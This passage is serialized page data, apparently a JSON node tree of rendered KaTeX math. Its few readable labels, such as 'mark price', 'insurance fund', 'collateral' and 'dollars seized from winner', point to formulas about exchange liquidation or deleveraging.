:29,"value":6123},{"type":24,"tag":90,"props":163259,"children":163261},{"className":163260},[23541],[163262],{"type":29,"value":23544},{"type":24,"tag":90,"props":163264,"children":163266},{"className":163265},[6422],[163267],{"type":24,"tag":90,"props":163268,"children":163270},{"className":163269,"style":94960},[6427],[163271],{"type":24,"tag":90,"props":163272,"children":163273},{},[],{"type":24,"tag":90,"props":163275,"children":163277},{"style":163276},"top:-0.3652em;",[163278,163282],{"type":24,"tag":90,"props":163279,"children":163281},{"className":163280,"style":162777},[6436],[],{"type":24,"tag":90,"props":163283,"children":163285},{"className":163284},[6396],[163286],{"type":24,"tag":90,"props":163287,"children":163289},{"className":163288},[6396],[163290,163295],{"type":24,"tag":90,"props":163291,"children":163293},{"className":163292,"style":95111},[6396,23384],[163294],{"type":29,"value":95114},{"type":24,"tag":90,"props":163296,"children":163298},{"className":163297},[6412],[163299],{"type":24,"tag":90,"props":163300,"children":163302},{"className":163301},[6417,23438],[163303,163332],{"type":24,"tag":90,"props":163304,"children":163306},{"className":163305},[6422],[163307,163327],{"type":24,"tag":90,"props":163308,"children":163310},{"className":163309,"style":144432},[6427],[163311],{"type":24,"tag":90,"props":163312,"children":163313},{"style":112306},[163314,163318],{"type":24,"tag":90,"props":163315,"children":163317},{"className":163316,"style":6437},[6436],[],{"type":24,"tag":90,"props":163319,"children":163321},{"className":163320},[6442,6443,6444,6445],[163322],{"type":24,"tag":90,"props":163323,"children":163325},{"className":163324,"style":23385},[6396,23384,6445],[163326],{"type":29,"value":1960},{"type":24,"tag":90,"props":163328,"children":163330},{"className":163329},[23541],[163331],{"type":29,"value":23544},{"type":24,"tag":90,"props":163333,"children":163335},{"className":163334},[6422],[163336],{"type":24,"tag":90,"props":163337,"children":163339},{"className":163338,"style":94960},[6427],[163340],{"type":24,"tag":90,"props":163341,"children":163342},{},[],{"type":24,"tag":90,"props":163344,"children":163346},{"style":163345},"top:2.2624em;",[163347,163351],{"type":24,"tag":90,"props":163348,"children":163350},{"className":163349,"style":162777},[6436],[],{"type":24,"tag":90,"props":163352,"children":163354},{"className":163353},[6396],[163355],{"type":24,"tag":90,"props":163356,"children":163358},{"className":163357},[6396],[163359,163365],{"type":24,"tag":90,"props":163360,"children":163362},{"className":163361,"style":94877},[6396,23384],[163363],{"type":29,"value":163364},"D",{"type":24,"tag":90,"props":163366,"children":163368},{"className":163367},[6412],[163369],{"type":24,"tag":90,"props":163370,"children":163372},{"className":163371},[6417,23438],[163373,163402],{"type":24,"tag":90,"props":163374,"children":163376},{"className":163375},[6422],[163377,163397],{"type":24,"tag":90,"props":163378,"children":163380},{"className":163379,"style":144432},[6427],[163381],{"type":24,"tag":90,"props":163382,"children":163383},{"style":111876},[163384,163388],{"type":24,"tag":90,"props":163385,"children":163387},{"className":163386,"style":6437},[6436],[],{"type":24,"tag":90,"props":163389,"children":163391},{"className":163390},[6442,6443,6444,6445],[163392],{"type":24,"tag":90,"props":163393,"children":163395},{"className":163394,"style":23385},[6396,23384,6445],[163396],{"type":29,"value":1960},{"type":24,"tag":90,"props":163398,"children":163400},{"className":163399},[23541],[163401],{"type":29,"value":23544},{"type":24,"tag":90,"props":163403,"children":163405},{"className":163404},[6422],[163406],{"type":24,"tag":90,"props":163407,"children":163409},{"className":163408,"style":94960},[6427],[163410],{"type":24,"tag":90,"props":163411,"children":163412},{},[],{"type":24,"tag":90,"props":163414,"children":163416},{"style":163415},"top:4.8901em;",[163417,163421],{"type":24,"tag":90,"props":163418,"children":163420},{"className":163419,"style":162777},[6436],[],{"type":24,"tag":90,"props":163422,"children":163424},{"className":163423},[6396],[163425],{"type":24,"tag":90,"props":163426,"children":163428},{"className":163427},[6396],[163429,163435],{"type":24,"tag":90,"props":163430,"children":163432},{"className":163431,"style":96885},[6396,23384],[163433],{"type":29,"value":163434},"U",{"type":24,"tag":90,"props":163436,"children":163438},{"className":163437},[6412],[163439],{"type":24,"tag":90,"props":163440,"children":163442},{"className":163441},[6417,23438],[163443,163473],{"type":24,"tag":90,"props":163444,"children":163446},{"className":163445},[6422],[163447,163468],{"type":24,"tag":90,"props":163448,"children":163450},{"className":163449,"style":144432},[6427],[163451],{"type":24,"tag":90,"props":163452,"children":163454},{"style":163453},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[163455,163459],{"type":24,"tag":90,"props":163456,"children":163458},{"className":163457,"style":6437},[6436],[],{"type":24,"tag":90,"props":163460,"children":163462},{"className":163461},[6442,6443,6444,6445],[163463],{"type":24,"tag":90,"props":163464,"children":163466},{"className":163465,"style":23385},[6396,23384,6445],[163467],{"type":29,"value":1960},{"type":24,"tag":90,"props":163469,"children":163471},{"className":163470},[23541],[163472],{"type":29,"value":23544},{"type":24,"tag":90,"props":163474,"children":163476},{"className":163475},[6422],[163477],{"type":24,"tag":90,"props":163478,"children":163480},{"className":163479,"style":94960},[6427],[163481],{"type":24,"tag":90,"props":163482,"children":163483},{},[],{"type":24,"tag":90,"props":163485,"children":163487},{"style":163486},"top:7.3078em;",[163488,163492],{"type":24,"tag":90,"props":163489,"children":163491},{"className":163490,"style":162777},[6436],[],{"type":24,"tag":90,"props":163493,"children":163495},{"className":163494},[6396],[163496],{"type":24,"tag":90,"props":163497,"children":163499},{"className":163498},[6396],[163500,163505],{"type":24,"tag":90,"props":163501,"children":163503},{"className":163502,"style":124654},[6396,23384],[163504],{"type":29,"value":124657},{"type":24,"tag":90,"props":163506,"children":163508},{"className":163507},[6412],[163509],{"type":24,"tag":90,"props":163510,"children":163512},{"className":163511},[6417,23438],[163513,163544],{"type":24,"tag":90,"props":163514,"children":163516},{"className":163515},[6422],[163517,163539],{"type":24,"tag":90,"props":163518,"children":163521},{"className":163519,"style":163520},[6427],"height:0.2806em;",[163522],{"type":24,"tag":90,"props":163523,"children":163525},{"style":163524},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[163526,163530],{"type":24,"tag":90,"props":163527,"children":163529},{"className":163528,"style":6437},[6436],[],{"type":24,"tag":90,"props":163531,"children":163533},{"className":163532},[6442,6443,6444,6445],[163534],{"type":24,"tag":90,"props":163535,"children":163537},{"className":163536},[6396,23384,6445],[163538],{"type":29,"value":23526},{"type":24,"tag":90,"props":163540,"children":163542},{"className":163541},[23541],[163543],{"type":29,"value":23544},{"type":24,"tag":90,"props":163545,"children":163547},{"className":163546},[6422],[163548],{"type":24,"tag":90,"props":163549,"children":163551},{"className":163550,"style":94960},[6427],[163552],{"type":24,"tag":90,"props":163553,"children":163554},{},[],{"type":24,"tag":90,"props":163556,"children":163558},{"className":163557},[23541],[163559],{"type":29,"value":23544},{"type":24,"tag":90,"props":163561,"children":163563},{"className":163562},[6422],[163564],{"type":24,"tag":90,"props":163565,"children":163568},{"className":163566,"style":163567},[6427],"height:11.3392em;",[163569],{"type":24,"tag":90,"props":163570,"children":163571},{},[],{"type":24,"tag":90,"props":163573,"children":163575},{"className":163574},[161691],[163576],{"type":24,"tag":90,"props":163577,"children":163579},{"className":163578},[6417,23438],[163580,165282],{"type":24,"tag":90,"props":163581,"children":163583},{"className":163582},[6422],[163584,165277],{"type":24,"tag":90,"props":163585,"children":163587},{"className":163586,"style":162768},[6427],[163588,163626,163664,163811,164046,164201,164306,164349,164570,164729,164919,165071],{"type":24,"tag":90,"props":163589,"children":163590},{"style":162772},[163591,163595],{"type":24,"tag":90,"props":163592,"children":163594},{"className":163593,"style":162777},[6436],[],{"type":24,"tag":90,"props":163596,"children":163598},{"className":163597},[6396],[163599,163603,163607,163612,163616],{"type":24,"tag":90,"props":163600,"children":163602},{"className":163601},[6396],[],{"type":24,"tag":90,"props":163604,"children":163606},{"className":163605,"style":6573},[6475],[],{"type":24,"tag":90,"props":163608,"children":163610},{"className":163609},[6578],[163611],{"type":29,"value":23403},{"type":24,"tag":90,"props":163613,"children":163615},{"className":163614,"style":6573},[6475],[],{"type":24,"tag":90,"props":163617,"children":163619},{"className":163618},[6396,29],[163620],{"type":24,"tag":90,"props":163621,"children":163623},{"className":163622},[6396],[163624],{"type":29,"value":163625},"mark price",{"type":24,"tag":90,"props":163627,"children":163628},{"style":162843},[163629,163633],{"type":24,"tag":90,"props":163630,"children":163632},{"className":163631,"style":162777},[6436],[],{"type":24,"tag":90,"props":163634,"children":163636},{"className":163635},[6396],[163637,163641,163645,163650,163654],{"type":24,"tag":90,"props":163638,"children":163640},{"className":163639},[6396],[],{"type":24,"tag":90,"props":163642,"children":163644},{"className":163643,"style":6573},[6475],[],{"type":24,"tag":90,"props":163646,"children":163648},{"className":163647},[6578],[163649],{"type":29,"value":23403},{"type":24,"tag":90,"props":163651,"children":163653},{"className":163652,"style":6573},[6475],[],{"type":24,"tag":90,"props":163655,"children":163657},{"className":163656},[6396,29],[163658],{"type":24,"tag":90,"props":163659,"children":163661},{"className":163660},[6396],[163662],{"type":29,"value":163663},"insurance fund",{"type":24,"tag":90,"props":163665,"children":163666},{"style":162860},[163667,163671],{"type":24,"tag":90,"props":163668,"children":163670},{"className":163669,"style":162777},[6436],[],{"type":24,"tag":90,"props":163672,"children":163674},{"className":163673},[6396],[163675,163679,163683,163688,163692,163702,163706,163711,163715],{"type":24,"tag":90,"props":163676,"children":163678},{"className":163677},[6396],[],{"type":24,"tag":90,"props":163680,"children":163682},{"className":163681,"style":6573},[6475],[],{"type":24,"tag":90,"props":163684,"children":163686},{"className":163685},[6578],[163687],{"type":29,"value":23403},{"type":24,"tag":90,"props":163689,"children":163691},{"className":163690,"style":6573},[6475],[],{"type":24,"tag":90,"props":163693,"children":163695},{"className":163694},[6396,29],[163696],{"type":24,"tag":90,"props":163697,"children":163699},{"className":163698},[6396],[163700],{"type":29,"value":163701},"collateral",{"type":24,"tag":90,"props":163703,"children":163705},{"className":163704,"style":6573},[6475],[],{"type":24,"tag":90,"props":163707,"children":163709},{"className":163708},[6578],[163710],{"type":29,"value":5491},{"type":24,"tag":90,"props":163712,"children":163714},{"className":163713,"style":6573},[6475],[],{"type":24,"tag":90,"props":163716,"children":163718},{"className":163717},[6396],[163719,163723,163807],{"type":24,"tag":90,"props":163720,"children":163722},{"className":163721},[23513,115395],[],{"type":24,"tag":90,"props":163724,"children":163726},{"className":163725},[115400],[163727],{"type":24,"tag":90,"props":163728,"children":163730},{"className":163729},[6417,23438],[163731,163796],{"type":24,"tag":90,"props":163732,"children":163734},{"className":163733},[6422],[163735,163791],{"type":24,"tag":90,"props":163736,"children":163739},{"className":163737,"style":163738},[6427],"height:1.3714em;",[163740,163760,163771],{"type":24,"tag":90,"props":163741,"children":163742},{"style":160986},[163743,163747],{"type":24,"tag":90,"props":163744,"children":163746},{"className":163745,"style":114048},[6436],[],{"type":24,"tag":90,"props":163748,"children":163750},{"className":163749},[6396],[163751],{"type":24,"tag":90,"props":163752,"children":163754},{"className":163753},[6396,29],[163755],{"type":24,"tag":90,"props":163756,"children":163758},{"className":163757},[6396],[163759],{"type":29,"value":161023},{"type":24,"tag":90,"props":163761,"children":163762},{"style":115450},[163763,163767],{"type":24,"tag":90,"props":163764,"children":163766},{"className":163765,"style":114048},[6436],[],{"type":24,"tag":90,"props":163768,"children":163770},{"className":163769,"style":115460},[115459],[],{"type":24,"tag":90,"props":163772,"children":163773},{"style":161037},[163774,163778],{"type":24,"tag":90,"props":163775,"children":163777},{"className":163776,"style":114048},[6436],[],{"type":24,"tag":90,"props":163779,"children":163781},{"className":163780},[6396],[163782],{"type":24,"tag":90,"props":163783,"children":163785},{"className":163784},[6396,29],[163786],{"type":24,"tag":90,"props":163787,"children":163789},{"className":163788},[6396],[163790],{"type":29,"value":161062},{"type":24,"tag":90,"props":163792,"children":163794},{"className":163793},[23541],[163795],{"type":29,"value":23544},{"type":24,"tag":90,"props":163797,"children":163799},{"className":163798},[6422],[163800],{"type":24,"tag":90,"props":163801,"children":163803},{"className":163802,"style":161080},[6427],[163804],{"type":24,"tag":90,"props":163805,"children":163806},{},[],{"type":24,"tag":90,"props":163808,"children":163810},{"className":163809},[23535,115395],[],{"type":24,"tag":90,"props":163812,"children":163813},{"style":162929},[163814,163818],{"type":24,"tag":90,"props":163815,"children":163817},{"className":163816,"style":162777},[6436],[],{"type":24,"tag":90,"props":163819,"children":163821},{"className":163820},[6396],[163822,163826,163830,163835,163839,163896,163900,163905,163909,163914,163971,163975,163980,163984,164041],{"type":24,"tag":90,"props":163823,"children":163825},{"className":163824},[6396],[],{"type":24,"tag":90,"props":163827,"children":163829},{"className":163828,"style":6573},[6475],[],{"type":24,"tag":90,"props":163831,"children":163833},{"className":163832},[6578],[163834],{"type":29,"value":5491},{"type":24,"tag":90,"props":163836,"children":163838},{"className":163837,"style":6573},[6475],[],{"type":24,"tag":90,"props":163840,"children":163842},{"className":163841},[6396],[163843,163848],{"type":24,"tag":90,"props":163844,"children":163846},{"className":163845},[6396,23384],[163847],{"type":29,"value":13020},{"type":24,"tag":90,"props":163849,"children":163851},{"className":163850},[6412],[163852],{"type":24,"tag":90,"props":163853,"children":163855},{"className":163854},[6417,23438],[163856,163885],{"type":24,"tag":90,"props":163857,"children":163859},{"className":163858},[6422],[163860,163880],{"type":24,"tag":90,"props":163861,"children":163863},{"className":163862,"style":95406},[6427],[163864],{"type":24,"tag":90,"props":163865,"children":163866},{"style":94933},[163867,163871],{"type":24,"tag":90,"props":163868,"children":163870},{"className":163869,"style":6437},[6436],[],{"type":24,"tag":90,"props":163872,"children":163874},{"className":163873},[6442,6443,6444,6445],[163875],{"type":24,"tag":90,"props":163876,"children":163878},{"className":163877},[6396,23384,6445],[163879],{"type":29,"value":6123},{"type":24,"tag":90,"props":163881,"children":163883},{"className":163882},[23541],[163884],{"type":29,"value":23544},{"type":24,"tag":90,"props":163886,"children":163888},{"className":163887},[6422],[163889],{"type":24,"tag":90,"props":163890,"children":163892},{"className":163891,"style":94960},[6427],[163893],{"type":24,"tag":90,"props":163894,"children":163895},{},[],{"type":24,"tag":90,"props":163897,"children":163899},{"className":163898,"style":6476},[6475],[],{"type":24,"tag":90,"props":163901,"children":163903},{"className":163902},[6481],[163904],{"type":29,"value":113139},{"type":24,"tag":90,"props":163906,"children":163908},{"className":163907,"style":6476},[6475],[],{"type":24,"tag":90,"props":163910,"children":163912},{"className":163911},[23513],[163913],{"type":29,"value":117},{"type":24,"tag":90,"props":163915,"children":163917},{"className":163916},[6396],[163918,163923],{"type":24,"tag":90,"props":163919,"children":163921},{"className":163920,"style":23385},[6396,23384],[163922],{"type":29,"value":23388},{"type":24,"tag":90,"props":163924,"children":163926},{"className":163925},[6412],[163927],{"type":24,"tag":90,"props":163928,"children":163930},{"className":163929},[6417,23438],[163931,163960],{"type":24,"tag":90,"props":163932,"children":163934},{"className":163933},[6422],[163935,163955],{"type":24,"tag":90,"props":163936,"children":163938},{"className":163937,"style":111309},[6427],[163939],{"type":24,"tag":90,"props":163940,"children":163941},{"style":162810},[163942,163946],{"type":24,"tag":90,"props":163943,"children":163945},{"className":163944,"style":6437},[6436],[],{"type":24,"tag":90,"props":163947,"children":163949},{"className":163948},[6442,6443,6444,6445],[163950],{"type":24,"tag":90,"props":163951,"children":163953},{"className":163952},[6396,23384,6445],[163954],{"type":29,"value":58228},{"type":24,"tag":90,"props":163956,"children":163958},{"className":163957},[23541],[163959],{"type":29,"value":23544},{"type":24,"tag":90,"props":163961,"children":163963},{"className":163962},[6422],[163964],{"type":24,"tag":90,"props":163965,"children":163967},{"className":163966,"style":94960},[6427],[163968],{"type":24,"tag":90,"props":163969,"children":163970},{},[],{"type":24,"tag":90,"props":163972,"children":163974},{"className":163973,"style":6476},[6475],[],{"type":24,"tag":90,"props":163976,"children":163978},{"className":163977},[6481],[163979],{"type":29,"value":6456},{"type":24,"tag":90,"props":163981,"children":163983},{"className":163982,"style":6476},[6475],[],{"type":24,"tag":90,"props":163985,"children":163987},{"className":163986},[6396],[163988,163993],{"type":24,"tag":90,"props":163989,"children":163991},{"className":163990},[6396,23384],[163992],{"type":29,"value":25},{"type":24,"tag":90,"props":163994,"children":163996},{"className":163995},[6412],[163997],{"type":24,"tag":90,"props":163998,"children":164000},{"className":163999},[6417,23438],[164001,164030],{"type":24,"tag":90,"props":164002,"children":164004},{"className":164003},[6422],[164005,164025],{"type":24,"tag":90,"props":164006,"children":164008},{"className":164007,"style":95406},[6427],[164009],{"type":24,"tag":90,"props":164010,"children":164011},{"style":94933},[164012,164016],{"type":24,"tag":90,"props":164013,"children":164015},{"className":164014,"style":6437},[6436],[],{"type":24,"tag":90,"props":164017,"children":164019},{"className":164018},[6442,6443,6444,6445],[164020],{"type":24,"tag":90,"props":164021,"children":164023},{"className":164022},[6396,23384,6445],[164024],{"type":29,"value":6123},{"type":24,"tag":90,"props":164026,"children":164028},{"className":164027},[23541],[164029],{"type":29,"value":23544},{"type":24,"tag":90,"props":164031,"children":164033},{"className":164032},[6422],[164034],{"type":24,"tag":90,"props":164035,"children":164037},{"className":164036,"style":94960},[6427],[164038],{"type":24,"tag":90,"props":164039,"children":164040},{},[],{"type":24,"tag":90,"props":164042,"children":164044},{"className":164043},[23535],[164045],{"type":29,"value":517},{"type":24,"tag":90,"props":164047,"children":164048},{"style":162999},[164049,164053],{"type":24,"tag":90,"props":164050,"children":164052},{"className":164051,"style":162777},[6436],[],{"type":24,"tag":90,"props":164054,"children":164056},{"className":164055},[6396],[164057,164061,164065,164070,164074,164131,164135,164140,164144],{"type":24,"tag":90,"props":164058,"children":164060},{"className":164059},[6396],[],{"type":24,"tag":90,"props":164062,"children":164064},{"className":164063,"style":6573},[6475],[],{"type":24,"tag":90,"props":164066,"children":164068},{"className":164067},[6578],[164069],{"type":29,"value":5491},{"type":24,"tag":90,"props":164071,"children":164073},{"className":164072,"style":6573},[6475],[],{"type":24,"tag":90,"props":164075,"children":164077},{"className":164076},[6396],[164078,164083],{"type":24,"tag":90,"props":164079,"children":164081},{"className":164080},[6396,23384],[164082],{"type":29,"value":3030},{"type":24,"tag":90,"props":164084,"children":164086},{"className":164085},[6412],[164087],{"type":24,"tag":90,"props":164088,"children":164090},{"className":164089},[6417,23438],[164091,164120],{"type":24,"tag":90,"props":164092,"children":164094},{"className":164093},[6422],[164095,164115],{"type":24,"tag":90,"props":164096,"children":164098},{"className":164097,"style":95406},[6427],[164099],{"type":24,"tag":90,"props":164100,"children":164101},{"style":94933},[164102,164106],{"type":24,"tag":90,"props":164103,"children":164105},{"className":164104,"style":6437},[6436],[],{"type":24,"tag":90,"props":164107,"children":164109},{"className":164108},[6442,6443,6444,6445],[164110],{"type":24,"tag":90,"props":164111,"children":164113},{"className":164112},[6396,23384,6445],[164114],{"type":29,"value":6123},{"type":24,"tag":90,"props":164116,"children":164118},{"className":164117},[23541],[164119],{"type":29,"value":23544},{"type":24,"tag":90,"props":164121,"children":164123},{"className":164122},[6422],[164124],{"type":24,"tag":90,"props":164125,"children":164127},{"className":164126,"style":94960},[6427],[164128],{"type":24,"tag":90,"props":164129,"children":164130},{},[],{"type":24,"tag":90,"props":164132,"children":164134},{"className":164133,"style":6476},[6475],[],{"type":24,"tag":90,"props":164136,"children":164138},{"className":164137},[6481],[164139],{"type":29,"value":6767},{"type":24,"tag":90,"props":164141,"children":164143},{"className":164142,"style":6476},[6475],[],{"type":24,"tag":90,"props":164145,"children":164147},{"className":164146},[6396],[164148,164153],{"type":24,"tag":90,"props":164149,"children":164151},{"className":164150,"style":95363},[6396,23384],[164152],{"type":29,"value":162948},{"type":24,"tag":90,"props":164154,"children":164156},{"className":164155},[6412],[164157],{"type":24,"tag":90,"props":164158,"children":164160},{"className":164159},[6417,23438],[164161,164190],{"type":24,"tag":90,"props":164162,"children":164164},{"className":164163},[6422],[164165,164185],{"type":24,"tag":90,"props":164166,"children":164168},{"className":164167,"style":95406},[6427],[164169],{"type":24,"tag":90,"props":164170,"children":164171},{"style":95410},[164172,164176],{"type":24,"tag":90,"props":164173,"children":164175},{"className":164174,"style":6437},[6436],[],{"type":24,"tag":90,"props":164177,"children":164179},{"className":164178},[6442,6443,6444,6445],[164180],{"type":24,"tag":90,"props":164181,"children":164183},{"className":164182},[6396,23384,6445],[164184],{"type":29,"value":6123},{"type":24,"tag":90,"props":164186,"children":164188},{"className":164187},[23541],[164189],{"type":29,"value":23544},{"type":24,"tag":90,"props":164191,"children":164193},{"className":164192},[6422],[164194],{"type":24,"tag":90,"props":164195,"children":164197},{"className":164196,"style":94960},[6427],[164198],{"type":24,"tag":90,"props":164199,"children":164200},{},[],{"type":24,"tag":90,"props":164202,"children":164203},{"style":163068},[164204,164208],{"type":24,"tag":90,"props":164205,"children":164207},{"className":164206,"style":162777},[6436],[],{"type":24,"tag":90,"props":164209,"children":164211},{"className":164210},[6396],[164212,164216,164220,164225,164229],{"type":24,"tag":90,"props":164213,"children":164215},{"className":164214},[6396],[],{"type":24,"tag":90,"props":164217,"children":164219},{"className":164218,"style":6573},[6475],[],{"type":24,"tag":90,"props":164221,"children":164223},{"className":164222},[6578],[164224],{"type":29,"value":5491},{"type":24,"tag":90,"props":164226,"children":164228},{"className":164227,"style":6573},[6475],[],{"type":24,"tag":90,"props":164230,"children":164232},{"className":164231},[6396],[164233,164238],{"type":24,"tag":90,"props":164234,"children":164236},{"className":164235,"style":95363},[6396,23384],[164237],{"type":29,"value":162948},{"type":24,"tag":90,"props":164239,"children":164241},{"className":164240},[6412],[164242],{"type":24,"tag":90,"props":164243,"children":164245},{"className":164244},[6417,23438],[164246,164294],{"type":24,"tag":90,"props":164247,"children":164249},{"className":164248},[6422],[164250,164289],{"type":24,"tag":90,"props":164251,"children":164254},{"className":164252,"style":164253},[6427],"height:0.8213em;",[164255,164272],{"type":24,"tag":90,"props":164256,"children":164258},{"style":164257},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[164259,164263],{"type":24,"tag":90,"props":164260,"children":164262},{"className":164261,"style":6437},[6436],[],{"type":24,"tag":90,"props":164264,"children":164266},{"className":164265},[6442,6443,6444,6445],[164267],{"type":24,"tag":90,"props":164268,"children":164270},{"className":164269},[6396,23384,6445],[164271],{"type":29,"value":6123},{"type":24,"tag":90,"props":164273,"children":164275},{"style":164274},"top:-3.113em;margin-right:0.05em;",[164276,164280],{"type":24,"tag":90,"props":164277,"children":164279},{"className":164278,"style":6437},[6436],[],{"type":24,"tag":90,"props":164281,"children":164283},{"className":164282},[6442,6443,6444,6445],[164284],{"type":24,"tag":90,"props":164285,"children":164287},{"className":164286},[6481,6445],[164288],{"type":29,"value":6767},{"type":24,"tag":90,"props":164290,"children":164292},{"className":164291},[23541],[164293],{"type":29,"value":23544},{"type":24,"tag":90,"props":164295,"children":164297},{"className":164296},[6422],[164298],{"type":24,"tag":90,"props":164299,"children":164302},{"className":164300,"style":164301},[6427],"height:0.267em;",[164303],{"type":24,"tag":90,"props":164304,"children":164305},{},[],{"type":24,"tag":90,"props":164307,"children":164308},{"style":163138},[164309,164313],{"type":24,"tag":90,"props":164310,"children":164312},{"className":164311,"style":162777},[6436],[],{"type":24,"tag":90,"props":164314,"children":164316},{"className":164315},[6396],[164317,164321,164325,164330,164334,164344],{"type":24,"tag":90,"props":164318,"children":164320},{"className":164319},[6396],[],{"type":24,"tag":90,"props":164322,"children":164324},{"className":164323,"style":6573},[6475],[],{"type":24,"tag":90,"props":164326,"children":164328},{"className":164327},[6578],[164329],{"type":29,"value":23403},{"type":24,"tag":90,"props":164331,"children":164333},{"className":164332,"style":6573},[6475],[],{"type":24,"tag":90,"props":164335,"children":164337},{"className":164336},[6396,29],[164338],{"type":24,"tag":90,"props":164339,"children":164341},{"className":164340},[6396],[164342],{"type":29,"value":164343},"dollars seized from winner ",{"type":24,"tag":90,"props":164345,"children":164347},{"className":164346},[6396,23384],[164348],{"type":29,"value":6123},{"type":24,"tag":90,"props":164350,"children":164351},{"style":163207},[164352,164356],{"type":24,"tag":90,"props":164353,"children":164355},{"className":164354,"style":162777},[6436],[],{"type":24,"tag":90,"props":164357,"children":164359},{"className":164358},[6396],[164360,164364,164368,164373,164377],{"type":24,"tag":90,"props":164361,"children":164363},{"className":164362},[6396],[],{"type":24,"tag":90,"props":164365,"children":164367},{"className":164366,"style":6573},[6475],[],{"type":24,"tag":90,"props":164369,"children":164371},{"className":164370},[6578],[164372],{"type":29,"value":5491},{"type":24,"tag":90,"props":164374,"children":164376},{"className":164375,"style":6573},[6475],[],{"type":24,"tag":90,"props":164378,"children":164380},{"className":164379},[6396],[164381,164385,164566],{"type":24,"tag":90,"props":164382,"children":164384},{"className":164383},[23513,115395],[],{"type":24,"tag":90,"props":164386,"children":164388},{"className":164387},[115400],[164389],{"type":24,"tag":90,"props":164390,"children":164392},{"className":164391},[6417,23438],[164393,164554],{"type":24,"tag":90,"props":164394,"children":164396},{"className":164395},[6422],[164397,164549],{"type":24,"tag":90,"props":164398,"children":164401},{"className":164399,"style":164400},[6427],"height:1.1076em;",[164402,164470,164481],{"type":24,"tag":90,"props":164403,"children":164404},{"style":160986},[164405,164409],{"type":24,"tag":90,"props":164406,"children":164408},{"className":164407,"style":114048},[6436],[],{"type":24,"tag":90,"props":164410,"children":164412},{"className":164411},[6396],[164413],{"type":24,"tag":90,"props":164414,"children":164416},{"className":164415},[6396],[164417,164422],{"type":24,"tag":90,"props":164418,"children":164420},{"className":164419,"style":124157},[6396,23384],[164421],{"type":29,"value":51395},{"type":24,"tag":90,"props":164423,"children":164425},{"className":164424},[6412],[164426],{"type":24,"tag":90,"props":164427,"children":164429},{"className":164428},[6417,23438],[164430,164459],{"type":24,"tag":90,"props":164431,"children":164433},{"className":164432},[6422],[164434,164454],{"type":24,"tag":90,"props":164435,"children":164437},{"className":164436,"style":95406},[6427],[164438],{"type":24,"tag":90,"props":164439,"children":164440},{"style":163105},[164441,164445],{"type":24,"tag":90,"props":164442,"children":164444},{"className":164443,"style":6437},[6436],[],{"type":24,"tag":90,"props":164446,"children":164448},{"className":164447},[6442,6443,6444,6445],[164449],{"type":24,"tag":90,"props":164450,"children":164452},{"className":164451},[6396,23384,6445],[164453],{"type":29,"value":6123},{"type":24,"tag":90,"props":164455,"children":164457},{"className":164456},[23541],[164458],{"type":29,"value":23544},{"type":24,"tag":90,"props":164460,"children":164462},{"className":164461},[6422],[164463],{"type":24,"tag":90,"props":164464,"children":164466},{"className":164465,"style":94960},[6427],[164467],{"type":24,"tag":90,"props":164468,"children":164469},{},[],{"type":24,"tag":90,"props":164471,"children":164472},{"style":115450},[164473,164477],{"type":24,"tag":90,"props":164474,"children":164476},{"className":164475,"style":114048},[6436],[],{"type":24,"tag":90,"props":164478,"children":164480},{"className":164479,"style":115460},[115459],[],{"type":24,"tag":90,"props":164482,"children":164483},{"style":161037},[164484,164488],{"type":24,"tag":90,"props":164485,"children":164487},{"className":164486,"style":114048},[6436],[],{"type":24,"tag":90,"props":164489,"children":164491},{"className":164490},[6396],[164492],{"type":24,"tag":90,"props":164493,"children":164495},{"className":164494},[6396],[164496,164501],{"type":24,"tag":90,"props":164497,"children":164499},{"className":164498},[6396,23384],[164500],{"type":29,"value":21070},{"type":24,"tag":90,"props":164502,"children":164504},{"className":164503},[6412],[164505],{"type":24,"tag":90,"props":164506,"children":164508},{"className":164507},[6417,23438],[164509,164538],{"type":24,"tag":90,"props":164510,"children":164512},{"className":164511},[6422],[164513,164533],{"type":24,"tag":90,"props":164514,"children":164516},{"className":164515,"style":95406},[6427],[164517],{"type":24,"tag":90,"props":164518,"children":164519},{"style":94933},[164520,164524],{"type":24,"tag":90,"props":164521,"children":164523},{"className":164522,"style":6437},[6436],[],{"type":24,"tag":90,"props":164525,"children":164527},{"className":164526},[6442,6443,6444,6445],[164528],{"type":24,"tag":90,"props":164529,"children":164531},{"className":164530},[6396,23384,6445],[164532],{"type":29,"value":6123},{"type":24,"tag":90,"props":164534,"children":164536},{"className":164535},[23541],[164537],{"type":29,"value":23544},{"type":24,"tag":90,"props":164539,"children":164541},{"className":164540},[6422],[164542],{"type":24,"tag":90,"props":164543,"children":164545},{"className":164544,"style":94960},[6427],[164546],{"type":24,"tag":90,"props":164547,"children":164548},{},[],{"type":24,"tag":90,"props":164550,"children":164552},{"className":164551},[23541],[164553],{"type":29,"value":23544},{"type":24,"tag":90,"props":164555,"children":164557},{"className":164556},[6422],[164558],{"type":24,"tag":90,"props":164559,"children":164562},{"className":164560,"style":164561},[6427],"height:0.836em;",[164563],{"type":24,"tag":90,"props":164564,"children":164565},{},[],{"type":24,"tag":90,"props":164567,"children":164569},{"className":164568},[23535,115395],[],{"type":24,"tag":90,"props":164571,"children":164572},{"style":163276},[164573,164577],{"type":24,"tag":90,"props":164574,"children":164576},{"className":164575,"style":162777},[6436],[],{"type":24,"tag":90,"props":164578,"children":164580},{"className":164579},[6396],[164581,164585,164589,164594,164598,164668,164672],{"type":24,"tag":90,"props":164582,"children":164584},{"className":164583},[6396],[],{"type":24,"tag":90,"props":164586,"children":164588},{"className":164587,"style":6573},[6475],[],{"type":24,"tag":90,"props":164590,"children":164592},{"className":164591},[6578],[164593],{"type":29,"value":5491},{"type":24,"tag":90,"props":164595,"children":164597},{"className":164596,"style":6573},[6475],[],{"type":24,"tag":90,"props":164599,"children":164602},{"className":164600},[23420,164601],"op-limits",[164603],{"type":24,"tag":90,"props":164604,"children":164606},{"className":164605},[6417,23438],[164607,164656],{"type":24,"tag":90,"props":164608,"children":164610},{"className":164609},[6422],[164611,164651],{"type":24,"tag":90,"props":164612,"children":164615},{"className":164613,"style":164614},[6427],"height:1.05em;",[164616,164634],{"type":24,"tag":90,"props":164617,"children":164619},{"style":164618},"top:-1.8723em;margin-left:0em;",[164620,164625],{"type":24,"tag":90,"props":164621,"children":164624},{"className":164622,"style":164623},[6436],"height:3.05em;",[],{"type":24,"tag":90,"props":164626,"children":164628},{"className":164627},[6442,6443,6444,6445],[164629],{"